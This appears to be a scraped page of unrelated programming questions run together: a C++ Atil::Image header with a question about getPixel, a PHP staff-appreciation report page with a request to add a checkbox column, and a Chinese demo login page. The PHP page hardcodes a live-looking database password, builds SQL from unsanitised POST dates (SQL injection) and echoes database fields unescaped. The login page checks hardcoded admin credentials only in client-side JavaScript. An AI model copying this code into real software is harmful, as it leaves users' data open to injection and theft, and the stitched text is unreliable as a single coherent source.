/// /// <exception cref="ImageConstructionException">An exception will be thrown /// if the image can not be constructed. <see cref="ImageConstructionException"/>. /// </exception> /// /// <remarks> /// This method will "consume" the <c>RowProviderInterface</c> and free the resources /// that it holds. The <c>RowProviderInterface</c> is no longer valid after using /// it in this method. /// </remarks> /// Image (RowProviderInterface* pPipe, DataModel::TileSize sz = DataModel::kUnspecified); /// <summary> /// A <c>RowProviderInterface</c> based constructor for Image with the option. /// to reorient the input. /// </summary> /// /// <param name='pPipe'>A source of image data. /// </param> /// /// <param name='orient'>The orientation to apply to the image when storing /// the data in the image. /// </param> /// /// <param name='sz'>The tile size to be used for the image. /// </param> /// /// <exception cref="ImageConstructionException">An exception will be thrown /// if the image can not be constructed. <see cref="ImageConstructionException"/>. /// </exception> /// Image (RowProviderInterface* pPipe, Atil::Orientation orient, DataModel::TileSize sz = DataModel::kUnspecified); /// <summary> /// The <c>FileReadDescriptor</c> based constructor for Image. This is the constructor /// to use when you want to load an image from a file. /// </summary> /// /// <param name='readDesc'>The <c>FileReadDescriptor</c> source of image data. /// </param> /// /// <param name='sz'>The tile size to be used for the image. /// </param> /// /// <exception cref="ImageConstructionException">An exception will be thrown /// if the image can not be constructed. <see cref="ImageConstructionException"/>. /// </exception> /// /// <remarks> /// The image will be constructed from the current frame set in the FileReadDescriptor. /// </remarks> /// Image (FileReadDescriptor& readDesc, DataModel::TileSize sz = DataModel::kUnspecified); /// <summary> /// The destructor will release all image resources with the exception of /// user allocated buffers. /// </summary> /// ~Image (); /// <summary> /// The assignment operator will destroy the existing image data and make a reference /// to the assigned image data. /// </summary> /// /// <param name= 'image'> /// A const reference to the image to be assigned to <c>*this</c>. /// </param> /// /// <returns> /// This returns a reference to <c>*this</c>. /// </returns> /// const Image& operator= (const Image& image); /// <summary> /// The assignment operator will destroy the existing image data and construct a new /// image from the result of the <c>RowProviderInterface</c>. /// </summary> /// /// <param name="pPipe">An instance of a <c>RowProviderInterface</c> that will supply /// the pixel data to be drawn. The <c>RowProviderInterface</c> is consumed and freed. /// </param> /// /// <returns> /// This returns a reference to <c>*this</c>. /// </returns> /// /// <remarks> /// This method will "consume" the <c>RowProviderInterface</c> and free the resources /// that it holds. The <c>RowProviderInterface</c> is no longer valid after using /// it in this method. /// </remarks> /// const Image& operator= (RowProviderInterface* pPipe); /// <summary> /// The equals operator. /// </summary> /// /// <param name= 'image'> /// A const reference to the image to be compared. /// </param> /// /// <returns> /// This will return true of both objects refer to the same data. /// </returns> /// /// <remarks> /// While this method is provided it is not considered a reliable method for /// testing equality. /// </remarks> /// bool operator== (const Image& image) const; /// <summary> /// The not equals operator. /// </summary> /// /// <param name= 'image'> /// A const reference to the image to be compared. /// </param> /// /// <returns> /// This will return true of both objects do not refer to the same data. /// </returns> /// /// <remarks> /// While this method is provided it is not considered a reliable method for /// testing equality. /// </remarks> /// bool operator!= (const Image& image) const; /// <summary> /// This returns the size of the image in pixels. /// </summary> /// /// <returns> /// This returns a const reference to a <c>Size</c> object. /// </returns> /// const Size& size () const; /// <summary> /// This returns the size of a tile of the image in pixels. /// </summary> /// /// <returns> /// This returns a <c>Size</c> object. /// </returns> /// Size tileSize () const; /// <summary> /// This method returns a const reference to the images dataModel. It is useful /// for testing the qualities of an image. All images have a dataModel. /// </summary> /// /// <returns> /// This returns a const reference to the <c>DataModel</c> for the image. /// </returns> /// const DataModel& dataModel () const; /// <summary> /// This method will return the <c>FileReadDescriptor</c> used to create the image /// if the image was created with a <c>FileReadDescriptor</c>. The return will be /// NULL otherwise. /// </summary> /// /// <returns> /// This returns a const pointer to the <c>FileReadDescriptor</c> if one was used /// to construct the image and NULL if not. /// </returns> /// const FileReadDescriptor* fileReadDescriptor () const; /// <summary> /// This method will return the number of tiles in the image. There is always /// at least one tile in a valid image. /// </summary> /// /// <param name="nRows">A integer reference which will be set to the number of /// tiles used to hold a row of the image. /// </param> /// /// <param name="nColumns">A integer reference which will be set to the number of /// tiles used to hold a column of the image. /// </param> /// /// <returns> /// This returns the number of tiles in the image. /// </returns> /// int numTiles (int& nRows, int& nColumns) const; /// <summary> /// This method returns the clear color of the image. /// </summary> /// /// <returns> /// This returns a const reference to th <c>ImagePixel</c> that holds the clear color. /// </returns> /// const ImagePixel& clearColor () const; /// <summary> /// A new data model may be set onto an image through this method. The datamodel being /// set must be compatible with the number of bands and band width of the image data. /// </summary> /// /// <param name='dataModel'>A constant reference to a <c>DataModel</c> instance that /// will be used as the representation of the data. /// </param> /// /// <exception cref="ImageConstructionException">An exception will be thrown /// if the data type of the image is incompatible with the data model instance being set /// <see cref="ImageConstructionException"/>. /// </exception> /// void setDataModel ( const DataModel& dataModel ); /// <summary> /// This method will set the Image's clear color. /// </summary> /// /// <param name="value">An <c>ImagePixel</c> that holds the color to be /// used as the clear color. /// </param> /// /// <exception cref="ImageException">An exception will be thrown if the pixel type of the /// parameter is incompatible with the data model image <see cref="ImageException"/>. /// </exception> /// /// <remarks> /// The clear color is the color that will be return for any pixel which is not /// set with a value by the constructed image. /// </remarks> /// void setClearColor ( ImagePixel value ); /// <summary> /// Use this method to draw pixels from the <c>RowProviderInterface</c> into the image /// at the specified location. /// </summary> /// /// <param name="pPipe">An instance of a <c>RowProviderInterface</c> that will supply /// the pixel data to be drawn. The <c>RowProviderInterface</c> is consumed and freed. /// </param> /// /// <param name="at">The offset, in pixels, to the upper left corner at which the /// first pixel of the first row from the <c>RowProviderInterface</c> will be drawn. /// </param> /// /// <param name="bRespectTransparency">A defaulted(false) boolean that if true will /// cause pixels that have an alpha of 0 not to be drawn. /// </param> /// /// <remarks> /// This method will "consume" the <c>RowProviderInterface</c> and free the resources /// that it holds. The <c>RowProviderInterface</c> is no longer valid after using /// it in this method. /// </remarks> /// void paste (RowProviderInterface* pPipe, const Offset& at, bool bRespectTransparency = false); /// <summary> /// Use this method to draw pixels into an image from the passed in <c>RowProviderInterface</c> /// drawing the data with the specified alpha value. /// </summary> /// /// <param name="pPipe">An instance of a <c>RowProviderInterface</c> that will supply /// the pixel data to be drawn. The <c>RowProviderInterface</c> is consumed and freed. /// </param> /// /// <param name="at">The offset, in pixels, to the upper left corner at which the /// first pixel of the first row from the <c>RowProviderInterface</c> will be drawn. /// </param> /// /// <param name="nAlphaValue">The input alpha range should vary between 1 and 254. /// </param> /// /// <param name="bRespectTransparency">A defaulted(false) boolean that if true will /// cause pixels that have an alpha of 0 not to be drawn. /// </param> /// /// <exception cref="ImageException">An exception will be thrown if the image does /// not have a RGB data model <see cref="ImageException"/>. /// </exception> /// /// <remarks> /// This works like the <c>paste()</c> method except that it alpha blends the /// input rows into the image. /// Like <c>paste()</c> it will "consume" the <c>RowProviderInterface</c> and /// free the resources that it holds. The <c>RowProviderInterface</c> is no longer /// valid after using it in this method. /// </remarks> /// void blend (RowProviderInterface* pPipe, const Offset& at, int nAlphaValue , bool bRespectTransparency = false); /// <summary> /// This will read a sub-rectangle of data from the image returning it in a /// <c>RowProviderInterface</c> instance. /// </summary> /// /// <param name="size">The size of the sub-region of the image to be read which may /// be up to the full size of the image. /// </param> /// /// <param name="offset">The pixel offset from the upper left corner of the image /// to begin reading the requested <c>size</c> region. /// </param> /// /// <returns> /// An instance of a <c>RowProviderInterface</c> that will supply the data within /// the requested region. /// </returns> /// /// <remarks> /// The requested sub-region must be within the bounds of the image. /// </remarks> /// RowProviderInterface* read (const Size& size, const Offset& offset) const; // Orientation is an enum containing the 8 different read orientations. /// <summary> /// This will read a sub-rectangle of data from the image returning it in a /// <c>RowProviderInterface</c> instance. The data from the image will be /// re-oriented from TopDownLeftRight (normal progression) to the orientation /// passed in. /// </summary> /// /// <param name="size">The size of the sub-region of the image to be read which may /// be up to the full size of the image. /// </param> /// /// <param name="offset">The pixel offset from the upper left corner of the image /// to begin reading the requested <c>size</c> region. /// </param> /// /// <param name="orient">The orientation to be applied to the data before it is /// returned. /// </param> /// /// <returns> /// An instance of a <c>RowProviderInterface</c> that will supply the data within /// the requested region. /// </returns> /// /// <remarks> /// The requested sub-region must be within the bounds of the image. /// </remarks> /// RowProviderInterface* read (const Size& size, const Offset& offset, Atil::Orientation orient) const; /// <summary> /// This method constructs an <c>ImageContext</c> <see cref="ImageContext"/> that /// maybe used to access the pixels of an image directly. /// </summary> /// /// <param name="accessNeeded">An <c>ImageContext</c> can be opened for either /// kRead or kWrite access. ImageContexts opened with kWrite do not cache (internally) /// as aggressively as those opened with kRead. /// </param> /// /// <param name="numTilesToCache">The number of tiles to cache internal to the /// <c>ImageContext</c>. The default of 4 should be sufficient for most usages. /// </param> /// /// <returns> /// This will return either a pointer to a valid <c>ImageContext</c><see cref="ImageContext"/> /// or NULL if the method fails. The returned object must be freed when the caller /// is finished with it. /// </returns> /// /// <remarks> /// An <c>ImageContext</c> holds tiles while it exists. They should be delete'd when /// not in use to free the resources that it holds. /// </remarks> /// ImageContext* createContext (ImageContext::Access accessNeeded, int numTilesToCache = 4 ); /// <summary> /// This method constructs an <c>ImageContext</c> <see cref="ImageContext"/> that /// maybe used to access the pixels of an image directly. /// </summary> /// /// <param name="accessNeeded">An <c>ImageContext</c> can be opened for either /// kRead or kWrite access. ImageContexts opened with kWrite do not cache (internally) /// as aggressively as those opened with kRead. /// </param> /// /// <param name="size">The size of the sub-region of the image to be accessed by the /// context. /// </param> /// /// <param name="offset">The pixel offset from the upper left corner of the image /// of the requested <c>size</c> region. /// </param> /// /// <param name="numTilesToCache">The number of tiles to cache internal to the /// <c>ImageContext</c>. The default of 4 should be sufficient for most usages. /// </param> /// /// <returns> /// This will return either a pointer to a valid <c>ImageContext</c><see cref="ImageContext"/> /// or NULL if the method fails. The returned object must be freed when the caller /// is finished with it. /// </returns> /// /// <remarks> /// An <c>ImageContext</c> holds tiles while it exists. They should be delete'd when /// not in use to free the resources that it holds. /// </remarks> /// ImageContext* createContext (ImageContext::Access accessNeeded, const Size& size, const Offset& offset, int numTilesToCache = 4 ); /// <summary> /// Adds a reactor that will call the owner whenever a tile is saved. /// When a tile is saved, it is assumed to have been edited (written to). /// </summary> /// /// <param name="pReactor">An instance of a reactor to be added to the image. /// </param> /// /// <remarks> /// The <c>ImageReactorInterface</c><see cref="ImageReactorInterface"/> /// can be derived from to track changes in the image. /// </remarks> /// void addReactor ( ImageReactorInterface* pReactor ); /// <summary> /// Removes the reactor that had previously been added to the image. /// </summary> /// /// <param name="pReactor">The instance of a reactor to be removed from the image. /// </param> /// void removeReactor ( ImageReactorInterface* pReactor ); /// <summary> /// This method disables per tile locking. ATIL implements per tile locking for /// read and write. This option is provided as an optimization for instances in /// which a developer can guarantee single-threaded usage. Use it carefully. /// </summary> /// /// <param name= 'bDisable'> /// The boolean will disable per tile locking if set to true. /// </param> /// /// <returns> /// This will return true if per tile locking is disabled. /// </returns> /// bool disablePerTileLocking ( bool bDisable ); /// <summary> /// This method will cause all pixels of the image to be set to the image's /// internal clear color. /// </summary> /// void clear (); /// <summary> /// This method will return true if there is valid data within the image. /// </summary> /// /// <returns> /// This will return true if the image is valid. /// </returns> /// bool isValid () const; /// <summary> /// This method will be set to true if data has been set into the image /// after construction. There is no way to reset it. /// </summary> /// /// <returns> /// This will return true if the image has been written to. /// </returns> /// bool isModified () const; /// <summary> /// This method will return true if the "user buffer" method of construction /// was used to create the image. /// </summary> /// /// <returns> /// This will return true if a "user buffer" was use to construct the image. /// </returns> /// bool usesUserBuffer () const; /// <summary> /// This method will return a pointer to the "user buffer" used to construct /// the image. /// </summary> /// /// <returns> /// This will return the "user buffer" pointer used to construct the image. /// </returns> void* getUserBuffer (); private: ImageRep* mImplementation; }; Atil::Image没有这个getPixel函数啊,你看看Atil::Image定义image->getPixel(x, y);应该怎么修改
10-28
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>HKLStaffAppreciationWeek_Report Summary</title> <link rel="shortcut icon" href="Sources/logo.jpg"> <meta property="og:image" content="https://digimktgsolution.com/HKLStaffAppreciationWeek/Sources/logo.jpg"> <meta property="og:image:type" content="image/jpg"> <meta property="og:image:width" content="510"> <meta property="og:image:height" content="510"> <meta property="og:title" content="HKLStaffAppreciationWeek_Report Summary" /> <meta property="og:description" content="HKLStaffAppreciationWeek_Report Summary" /> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script> <link rel="stylesheet" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.13.2/themes/smoothness/jquery-ui.css"> <script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.13.2/jquery-ui.min.js"></script> <script> $(function () { $("#txtFrom").datepicker({ dateFormat: 'dd-mm-yy' }); $("#txtTo").datepicker({ dateFormat: 'dd-mm-yy' }); }); </script> <style> ::-webkit-scrollbar { width: 10px; } /* Track */ ::-webkit-scrollbar-track { background: #f1f1f1; } /* Handle */ ::-webkit-scrollbar-thumb { background: #888; } /* Handle on hover */ ::-webkit-scrollbar-thumb:hover { background: #555; } body { font-size: 20px; } .table-heading { text-align: center; } .wrap { overflow: hidden; border-radius: 10px 10px 0px 0px; box-shadow: 0 0 20px rgba(0, 0, 0, 0.35); } table { font-family: 'Oswald', sans-serif; border-collapse: collapse; } th { background-color: #009879; color: #ffffff; width: 10%; height: 75px; border: 1px solid; padding: 0px 10px; } td { background-color: #ffffff; width: 93vw; height: 50px; text-align: center; vertical-align: middle; position: relative; } tr { border-bottom: 1px solid #dddddd; } tr:last-of-type { border-bottom: 2px solid #009879; } tr:nth-of-type(even) td { background-color: #f3f3f3; } .toggle-btn { cursor: pointer; background: none; border: none; font-size: 16px; padding: 5px; display: inline-block; } .message-content { display: none; max-height: 200px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; text-align: left; background-color: #fff; box-shadow: 0 2px 4px rgba(0,0,0,0.1); border-radius: 4px; position: absolute; z-index: 100; width: 300px; top: 100%; left: 50%; transform: translateX(-50%); margin-top: 5px; } .active-message { display: block; } .stats-container { margin: 10px 0; padding: 10px; background-color: #f9f9f9; border: 1px solid #ddd; border-radius: 5px; } </style> </head> <body> <form method="post" autocomplete='off' id="mainForm"> <input type="hidden" name="Search" value="1"> <!-- 添加搜索标识 --> <?php $servername = "localhost"; $username = "digimktgsolution_admin"; $password = "=ADP=OW?O3vl"; $database = "digimktgsolution_base"; // Create connection header("Content-Type:text/html; charset=utf-8"); $conn = new mysqli($servername, $username, $password, $database); $conn->set_charset("utf8"); if (isset($_POST['Search'])) { $selecttxt = $_POST['Fromdate']; $selectto = $_POST['Todate']; } $cou = 0; ?> <?php echo '<div class="table-container">'; echo '<h2 class = "table-heading">HKLStaffAppreciationWeek_Report Summary</h2>'; echo '<div id="tableCon" style="overflow-x:auto;width:100%;">'; echo "<table border='1' style='width:100%'> <thead> <tr> <td> Select Date(From): </td> <td> <input type='text' id='txtFrom' name='Fromdate' value='".(isset($_POST['Fromdate']) ? $_POST['Fromdate'] : '')."' /></td> <td> Select Date(To): </td> <td> <input type='text' id='txtTo' name='Todate' value='".(isset($_POST['Todate']) ? $_POST['Todate'] : '')."' /></td> "; ?> <td style='width:20%'><input type="submit" name="SearchBtn" value="Search" /></td> <!-- 修正为submit类型 --> </tr> <?php echo " <th>Log</th> <th>From (Sender)</th> <th>Sender's Dept</th> <th>Sender's Email</th> <th>To (Recipient)</th> <th>Recipient's Dept</th> <th>Recipient's Email</th> <th>Template</th> <th>Message</th> <th>Print</th> <th>Date</th> <th>Time</th> </tr> </thead> "; echo "<tbody>"; // 初始化统计变量 $printCount = 0; $totalRecords = 0; $dateRange = ""; // 修复:检测搜索按钮提交 if (isset($_POST['SearchBtn']) || isset($_POST['Search'])) { $selecttxt = isset($_POST['Fromdate']) ? $_POST['Fromdate'] : ''; $selectto = isset($_POST['Todate']) ? $_POST['Todate'] : ''; $dateRange = " of $selecttxt TO $selectto"; if ($selectto == "") { $selectto = $selecttxt; } // 转换日期格式为数据库格式 (dd-mm-yyyy => yyyy-mm-dd) $dbFrom = $selecttxt; $dbTo = $selectto; if (!empty($dbFrom) && !empty($dbTo)) { $query = mysqli_query($conn, "SELECT * FROM HKLStaffAppreciationWeek_Record WHERE Date >='$dbFrom' AND Date <='$dbTo' ORDER BY ID DESC"); } else { $query = mysqli_query($conn, "SELECT * FROM HKLStaffAppreciationWeek_Record ORDER BY ID DESC"); } $count = mysqli_num_rows($query); $totalRecords = $count; if ($count == "0") { echo "<h2>No Records Found...</h2>"; } else { // 先显示总记录数 echo "<div class='stats-container'>"; // 循环遍历记录并统计打印次数 while ($row = mysqli_fetch_array($query)) { if ($row["Time"] != "") { $cou++; // 统计打印次数 if ($row['print'] == "1") { $printCount++; } } } echo "<h2>Total Record$dateRange : $cou</h2>"; // 显示打印次数统计 echo "<h2>Total Print Times: $printCount</h2>"; echo "</div>"; // 关闭stats-container // 重置查询指针 mysqli_data_seek($query, 0); // 再次循环输出表格行 while ($row = mysqli_fetch_array($query)) { if ($row["Time"] != "") { $Id = $row['ID']; echo '<tr>'; echo '<td>' . $Id . '</td>'; if ($row['SenderName'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['SenderName'] . '</td>'; } if ($row['SenderDepartment'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['SenderDepartment'] . '</td>'; } if ($row['SenderEmail'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['SenderEmail'] . '</td>'; } if ($row['RecipientName'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['RecipientName'] . '</td>'; } if ($row['RecipientDepartment'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['RecipientDepartment'] . '</td>'; } if ($row['Email'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['Email'] . '</td>'; } $template = $row['selected']; if ($template == "0") { echo '<td>A</td>'; } else if ($template == "1") { echo '<td>B</td>'; } else if ($template == "2") { echo '<td>C</td>'; } else if ($template == "3") { echo '<td>D</td>'; } else if ($template == "4") { echo '<td>E</td>'; } // 消息单元格 echo '<td>'; echo '<button type="button" class="toggle-btn" data-id="'.$Id.'">▼</button>'; $escapedMessage = htmlspecialchars($row['Message'], ENT_QUOTES, 'UTF-8'); echo '<div id="msg-'.$Id.'" class="message-content">' . $escapedMessage . '</div>'; echo '</td>'; $print = $row['print']; if ($print == "0") { echo '<td>N</td>'; } else { echo '<td>Y</td>'; } echo '<td>' . $row['Date'] . '</td>'; echo '<td>' . $row['Time'] . '</td>'; echo '</tr>'; } } } } else { // 初始页面加载时显示所有记录 $query = mysqli_query($conn, "SELECT * FROM HKLStaffAppreciationWeek_Record ORDER BY ID DESC"); $dateRange = ""; $count = mysqli_num_rows($query); $totalRecords = $count; if ($count == "0") { echo "<h2>No Records Found...</h2>"; } else { // 先显示总记录数 echo "<div class='stats-container'>"; // 循环遍历记录并统计打印次数 while ($row = mysqli_fetch_array($query)) { if ($row["Time"] != "") { $cou++; // 统计打印次数 if ($row['print'] == "1") { $printCount++; } } } echo "<h2>Total Record : $cou</h2>"; // 显示打印次数统计 echo "<h2>Total Print Times: $printCount</h2>"; echo "</div>"; // 关闭stats-container // 重置查询指针 mysqli_data_seek($query, 0); // 再次循环输出表格行 while ($row = mysqli_fetch_array($query)) { if ($row["Time"] != "") { $Id = $row['ID']; echo '<tr>'; echo '<td>' . $Id . '</td>'; if ($row['SenderName'] == "") { echo '<td>' . $row['FromText'] . '</td>'; } else { echo '<td>' . $row['SenderName'] . '</td>'; } if ($row['SenderDepartment'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['SenderDepartment'] . '</td>'; } if ($row['SenderEmail'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['SenderEmail'] . '</td>'; } if ($row['RecipientName'] == "") { echo '<td>' . $row['ToText'] . '</td>'; } else { echo '<td>' . $row['RecipientName'] . '</td>'; } if ($row['RecipientDepartment'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['RecipientDepartment'] . '</td>'; } if ($row['Email'] == "") { echo '<td>-</td>'; } else { echo '<td>' . $row['Email'] . '</td>'; } $template = $row['selected']; if ($template == "0") { echo '<td>A</td>'; } else if ($template == "1") { echo '<td>B</td>'; } else if ($template == "2") { echo '<td>C</td>'; } else if ($template == "3") { echo '<td>D</td>'; } else if ($template == "4") { echo '<td>E</td>'; } // 消息单元格 echo '<td>'; echo '<button type="button" class="toggle-btn" data-id="'.$Id.'">▼</button>'; $escapedMessage = htmlspecialchars($row['Message'], ENT_QUOTES, 'UTF-8'); echo '<div id="msg-'.$Id.'" class="message-content">' . $escapedMessage . '</div>'; echo '</td>'; $print = $row['print']; if ($print == "0") { echo '<td>N</td>'; } else { echo '<td>Y</td>'; } echo '<td>' . $row['Date'] . '</td>'; echo '<td>' . $row['Time'] . '</td>'; echo '</tr>'; } } } } echo '</tbody></div>'; $conn->close(); ?> </form> <script> document.addEventListener('DOMContentLoaded', function() { const toggleButtons = document.querySelectorAll('.toggle-btn'); toggleButtons.forEach(button => { button.addEventListener('click', function(e) { e.preventDefault(); const id = this.getAttribute('data-id'); const msgDiv = document.getElementById('msg-'+id); if (msgDiv.classList.contains('active-message')) { msgDiv.classList.remove('active-message'); this.innerHTML = '▼'; } else { document.querySelectorAll('.message-content').forEach(div => { div.classList.remove('active-message'); }); document.querySelectorAll('.toggle-btn').forEach(btn => { btn.innerHTML = '▼'; }); msgDiv.classList.add('active-message'); this.innerHTML = '▲'; } }); }); document.addEventListener('click', function(event) { if (!event.target.closest('.toggle-btn') && !event.target.closest('.message-content')) { document.querySelectorAll('.message-content').forEach(div => { div.classList.remove('active-message'); }); document.querySelectorAll('.toggle-btn').forEach(btn => { btn.innerHTML = '▼'; }); } }); document.getElementById('searchBtn').addEventListener('click', function() { document.getElementById('mainForm').submit(); }); }); </script> </body> </html> 使用以上代碼,在<th>Time</th>之後加一個column“Post”,在每行數據 echo '<td>' . $row['Time'] . '</td>';后加一個checkbox tr,根據數據得到$row['post'] = 0就unchecked,1就checked,當user check或uncheck該checkbox,該行數據要update post to 0 or 1
12-04
<!DOCTYPE html> <html lang="zh-cn"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>登录系统</title> <style> :root { --primary: #e53935; /* 主色调 - 淡红色 */ --primary-light: #ffcdd2; /* 浅红色 */ --primary-dark: #b71c1c; /* 深红色 */ --dark: #2c3e50; --light: #f5f5f5; --gray: #ddd; --success: #4CAF50; } * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; } body { background: linear-gradient(135deg, #1a1a2e, #16213e); display: flex; justify-content: center; align-items: center; min-height: 100vh; padding: 20px; } .container { background: rgba(255, 255, 255, 0.95); width: 100%; max-width: 900px; border-radius: 15px; overflow: hidden; box-shadow: 0 15px 30px rgba(0, 0, 0, 0.4); display: flex; min-height: 600px; } .login-section { flex: 1; padding: 40px; display: flex; flex-direction: column; } .explanation-section { flex: 1; background: linear-gradient(135deg, var(--primary), var(--primary-dark)); color: white; padding: 40px; display: flex; flex-direction: column; } h1 { color: var(--dark); text-align: center; margin-bottom: 30px; font-size: 2.2rem; position: relative; } h1:after { content: ''; display: block; width: 80px; height: 4px; background: var(--primary); margin: 10px auto; border-radius: 2px; } h2 { color: white; font-size: 1.8rem; margin-bottom: 20px; text-align: center; } .form-group { margin-bottom: 20px; } label { display: block; margin-bottom: 8px; color: #444; font-weight: 600; } input { width: 100%; padding: 14px; border: 2px solid var(--gray); border-radius: 8px; font-size: 16px; transition: all 0.3s; } input:focus { border-color: var(--primary); outline: none; box-shadow: 0 0 0 3px rgba(229, 57, 53, 0.2); } .remember { display: flex; align-items: center; margin: 15px 0; } .remember input { width: auto; margin-right: 10px; } button { background: var(--primary); color: white; border: none; padding: 14px; border-radius: 8px; font-size: 18px; font-weight: 600; cursor: pointer; transition: all 0.3s; width: 100%; margin-top: 10px; } button:hover { background: var(--primary-dark); transform: translateY(-2px); box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1); } .message { padding: 15px; margin: 20px 0; border-radius: 8px; text-align: center; font-weight: 500; } .message.error { background: #ffebee; color: var(--primary); border: 1px solid #ffcdd2; } .message.success { background: #e8f5e9; color: var(--success); border: 1px solid #a5d6a7; } .tabs { display: flex; margin-bottom: 20px; border-bottom: 2px solid var(--gray); } .tab { padding: 12px 20px; cursor: pointer; font-weight: 600; color: #777; transition: all 0.3s; } .tab.active { color: var(--primary); border-bottom: 3px solid var(--primary); } .tab-content { display: none; } .tab-content.active { display: block; } .explanation-content { background: rgba(0, 0, 0, 0.2); padding: 20px; border-radius: 10px; margin-bottom: 20px; } .explanation-content h3 { margin-bottom: 15px; color: #fff; } .explanation-content p { margin-bottom: 15px; line-height: 1.6; } .explanation-content ul { padding-left: 20px; margin-bottom: 15px; } .explanation-content li { margin-bottom: 10px; line-height: 1.5; } .code-block { background: rgba(0, 0, 0, 0.3); border-radius: 8px; padding: 15px; margin: 15px 0; font-family: monospace; overflow-x: auto; } .links { display: flex; justify-content: center; gap: 15px; margin-top: 20px; } .links a { color: #e3f2fd; text-decoration: none; font-weight: 500; transition: all 0.3s; padding: 8px 12px; border-radius: 5px; } .links a:hover { background: rgba(255, 255, 255, 0.1); text-decoration: underline; } footer { text-align: center; color: rgba(255, 255, 255, 0.7); margin-top: auto; padding-top: 20px; } @media (max-width: 768px) { .container { flex-direction: column; } .login-section, .explanation-section { padding: 25px; } } </style> </head> <body> <div class="container"> <div class="login-section"> <h1>用户登录</h1> <div class="tabs"> <div class="tab active" data-tab="login">用户登录</div> <div class="tab" data-tab="vulnerability">系统说明</div> </div> <div class="tab-content active" id="login-content"> <div id="message" class="message"></div> <form id="loginForm"> <div class="form-group"> <label for="username">用户名</label> <input type="text" id="username" placeholder="输入用户名" value="testuser"> </div> <div class="form-group"> <label for="password">密码</label> <input type="password" id="password" placeholder="输入密码" value="Admin123"> </div> <div class="remember"> <input type="checkbox" id="remember"> <label for="remember">记住我</label> </div> <button type="submit" id="loginBtn">登录</button> </form> </div> <div class="tab-content" id="vulnerability-content"> <div class="explanation-content"> <h3>系统功能说明</h3> <p>该系统提供以下功能:</p> <ul> <li>用户登录与身份验证</li> <li>基于角色的访问控制</li> <li>用户会话管理</li> <li>响应式界面设计</li> </ul> <h3>权限说明</h3> <p>系统包含两种用户角色:</p> <div class="code-block"> // 用户角色定义<br> const roles = {<br>   USER: 'user',<br>   ADMIN: 'admin'<br> }; </div> <p>管理员用户可以访问系统管理功能。</p> <h3>使用说明</h3> <ul> <li>普通用户:testuser / Admin123</li> <li>管理员:admin / Admin123</li> <li>登录后可访问系统控制台</li> </ul> </div> </div> </div> <div class="explanation-section"> <h2>系统说明</h2> <div class="explanation-content"> <h3>登录流程说明</h3> <p>1. 用户提交用户名和密码</p> <p>2. 前端发送登录请求到后端API</p> <p>3. 后端验证凭证并返回响应</p> <p>4. 前端根据响应跳转页面</p> </div> <div class="explanation-content"> <h3>系统特性</h3> <p>✅ 响应式设计</p> <p>✅ 用户友好的界面</p> <p>✅ 安全的会话管理</p> </div> <div class="explanation-content"> <h3>技术支持</h3> <p>如需技术支持,请联系:</p> <p>📧 support@example.com</p> <p>📞 400-123-4567</p> </div> <div class="links"> <a href="#">用户注册</a> <a href="#">忘记密码</a> <a href="#">返回首页</a> </div> <footer> <p>登录系统 | 版本 2.1 | 仅供授权用户使用</p> </footer> </div> </div> <script> document.addEventListener('DOMContentLoaded', function() { const loginForm = document.getElementById('loginForm'); const loginBtn = document.getElementById('loginBtn'); const usernameInput = document.getElementById('username'); const passwordInput = document.getElementById('password'); const messageDiv = document.getElementById('message'); const tabs = document.querySelectorAll('.tab'); const tabContents = document.querySelectorAll('.tab-content'); // 标签切换功能 tabs.forEach(tab => { tab.addEventListener('click', () => { // 移除所有active类 tabs.forEach(t => t.classList.remove('active')); tabContents.forEach(c => c.classList.remove('active')); // 添加active类到当前标签和内容 tab.classList.add('active'); const tabName = tab.getAttribute('data-tab'); document.getElementById(`${tabName}-content`).classList.add('active'); }); }); // 登录表单提交 loginForm.addEventListener('submit', function(e) { e.preventDefault(); handleLogin(); }); // 登录处理函数 async function handleLogin() { const username = usernameInput.value.trim(); const password = passwordInput.value; // 基本验证 if (!username) { showMessage('请输入用户名', 'error'); return; } if (password.length < 6) { showMessage('密码长度不能少于6位', 'error'); return; } // 更新按钮状态 loginBtn.disabled = true; loginBtn.textContent = '登录中...'; try { // 模拟API请求 const response = await fakeLoginApi(username, password); // 显示登录结果 if (response.status === 'success') { showMessage(`登录成功!欢迎 ${username}${response.isAdmin ? ' (管理员)' : ''}`, 'success'); // 模拟页面跳转 setTimeout(() => { if (response.isAdmin) { showMessage('跳转到管理员面板...', 'success'); } else { showMessage('跳转到用户控制台...', 'success'); } }, 1500); } else { showMessage('登录失败: ' + response.message, 'error'); loginBtn.disabled = false; loginBtn.textContent = '登录'; } } catch (error) { showMessage('请求失败: ' + error.message, 'error'); loginBtn.disabled = false; loginBtn.textContent = '登录'; } } // 模拟后端API function fakeLoginApi(username, password) { return new Promise((resolve) => { setTimeout(() => { // 模拟后端处理 if (username === 'admin' && password === 'Admin123') { resolve({ status: 'success', isAdmin: true, message: '管理员登录成功' }); } else if (username === 'testuser' && password === 'Admin123') { resolve({ status: 'success', isAdmin: false, message: '普通用户登录成功' }); } else { resolve({ status: 'error', message: '用户名或密码错误', isAdmin: false }); } }, 1000); }); } // 显示消息 function showMessage(msg, type) { messageDiv.textContent = msg; messageDiv.className = 'message'; messageDiv.classList.add(type); // 3秒后自动消失 if (type !== 'error') { setTimeout(() => { messageDiv.textContent = ''; messageDiv.className = 'message'; }, 3000); } } }); </script> </body> </html> 